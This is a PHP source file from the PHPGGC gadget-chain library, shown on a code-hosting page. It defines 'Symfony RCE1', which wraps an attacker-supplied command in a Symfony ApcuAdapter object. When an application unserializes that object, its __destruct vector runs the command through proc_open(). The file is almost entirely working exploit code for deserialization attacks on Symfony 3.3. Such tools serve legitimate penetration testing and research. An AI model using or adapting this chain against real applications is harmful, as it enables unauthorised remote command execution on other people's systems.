Codebase list phpggc / 0e0687d4-ff2b-425f-a68a-e5b305d43293/upstream/0.20221219 gadgetchains / Symfony / RCE / 1 / chain.php
0e0687d4-ff2b-425f-a68a-e5b305d43293/upstream/0.20221219

Tree @0e0687d4-ff2b-425f-a68a-e5b305d43293/upstream/0.20221219 (Download .tar.gz)

chain.php @0e0687d4-ff2b-425f-a68a-e5b305d43293/upstream/0.20221219raw · history · blame

<?php

namespace GadgetChain\Symfony;

class RCE1 extends \PHPGGC\GadgetChain\RCE\Command
{
    public static $version = '3.3';
    public static $vector = '__destruct';
    public static $author = 'cf';
    public static $information = 'Executes given command through proc_open()';

    public function generate(array $parameters)
    {
        $command = $parameters['command'];

        return new \Symfony\Component\Cache\Adapter\ApcuAdapter(
        	$command
        );
    }
}